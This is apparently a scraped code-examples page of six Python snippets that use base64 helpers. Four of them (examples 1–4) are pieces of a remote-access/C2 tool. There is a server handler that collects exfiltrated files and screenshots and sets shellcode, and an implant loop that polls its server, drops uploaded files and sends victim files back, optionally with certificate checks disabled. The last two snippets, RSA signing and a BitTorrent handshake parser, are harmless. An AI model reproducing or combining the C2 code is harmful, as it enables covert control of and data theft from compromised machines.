Пример #1
0
def handlePOST():
    if request.data:
        if request.headers.get('Filename'):
            filename = request.headers.get('Filename')
            if request.headers.get('Action') == 'download':
                with open(filename, 'wb') as w:
                    w.write(bdec(request.data))
                print(
                    f'[{B+G}SUCCESS{RA}] {filename} successfully downloaded!')
            else:
                print(f'[{B+G}SUCCESS{RA}] {filename} successfully uploaded!')
        elif request.headers.get('Action') == 'screenshot':
            img = Image.open(io.BytesIO(request.data))
            screenshot_name = f"screenshot_{randint(0,1000)}.png"
            img.save(screenshot_name)
            print(
                f'[{B+G}SUCCESS{RA}] {screenshot_name} successfully downloaded!'
            )
        elif request.headers.get('Shellcode_id'):
            slowprint(
                f"[+] Shellcode successfully set to: {Y+utils.shellcodes[int(request.headers.get('Shellcode_id'))][0]}{RA}"
            )
        else:
            print(request.data[:-1].decode())
    return emptyresponse
Пример #2
0
def handlePOST():
    if request.data:
        if request.headers.get('Filename'):
            filename = request.headers.get('Filename')
            if request.headers.get('Action') == 'download':
                with open(filename, 'w') as w:
                    w.write(bdec(request.data))
                print('{} successfully downloaded!'.format(filename))
            else:
                print('{} successfully uploaded!'.format(filename))
        else:
            print(request.data[:-1])
    return emptyresponse
Пример #3
0
def handlePOST():
    if request.data:
        if request.headers.get('Filename'):
            filename = request.headers.get('Filename')
            if request.headers.get('Action') == 'download':
                with open(filename, 'wb') as w:
                    w.write(bdec(request.data))
                print('{} successfully downloaded!'.format(filename))
            else:
                print('{} successfully uploaded!'.format(filename))
        elif request.headers.get('Shellcode_id'):
            slowprint("[+] Shellcode successfully set to: {}".format(
                Y + utils.shellcodes[int(request.headers.get(
                    'Shellcode_id'))][0]) + RA)
        else:
            print(request.data[:-1].decode())
    return emptyresponse
Пример #4
0
                         "https":'{}:{}'.format(host,int(port))}
        if args.cert:
            s.verify = abs_path(args.cert)
        elif CERT:
            with open('.cert.pem', 'w') as w: w.write(CERT)
            s.verify = abs_path(".cert.pem")
        else:
            s.verify = False

        while True:
            res = s.get(SERVER, headers=_headers)
            if any(command in res.url for command in special_commands):
                if 'upload' in res.url:
                    filename = res.url.split('/')[-1]
                    with open(filename, 'wb') as w:
                        w.write(bdec(res.text))
                    s.post(SERVER,
                        headers={
                                "Filename" : filename,
                                "Action"   : 'upload'
                            },
                        data='Upload Successful!')
                elif 'download' in res.url:
                    filepath = bdec(str(unquote(res.url.split('/')[-1]))).decode("utf-8")
                    if valid_file(filepath):
                        with open(filepath, 'rb') as f:
                            file_contents = benc(f.read())
                        if unix_path.match(filepath):
                            file_name = unix_path.search(filepath).group(2)
                        else:
                            file_name = wind_path.search(filepath).group(2)
Пример #5
0
signature = b'b64enc(sigdata(msg))'

import rsa
from base64 import b64encode as benc
from base64 import b64decode as bdec

plaintext = b"msg"
with open(keyfile) as fh:
	data = fh.read()
	privkey = rsa.PrivateKey.load_pkcs1(data)
	pubkey = rsa.PublicKey.load_pkcs1(data)

rsasignature = rsa.sign(plaintext, privkey, 'SHA-256')

print('Ext-Sig:', signature)
print('RSA-Sig:', benc(rsasignature))

print(rsa.verify(plaintext, bdec(signature), pubkey))
Пример #6
0
					if fileno in data_queue:
						del(data_queue[fileno])

				decoded, rest = decoded
				if decoded == b'BitTorrent protocol':
					majorProtocol = struct.unpack('>I', rest[:4])[0]
					protocol = struct.unpack('>I', rest[3:7])[0]
					info_hash = benc(rest[7:27])
					peer_id = rest[27:48]
					trash = rest[47:]

					print('Peer ID:', [peer_id])
					print('Protocol:', [protocol])
					print('Info hash:', [info_hash])
					print('Trash?', [trash])

					response = b''
					protMsg = b'BitTorrent protocol'
					response += struct.pack('b', len(protMsg))
					response += protMsg
					response += struct.pack('>I', 0) # majorProtocol
					response += struct.pack('>I', 1048581) #\x00\x10\x00\x05 - Some undocumented shit you're supposed to respond with
					response += bdec(info_hash) # If we got it, we'll respond yes
					response += my_peer_id

					socks[fileno].send(response)
					print(' -- Responded:')
					print([response])
					print()
				else:
					print('Decoded:', [decoded])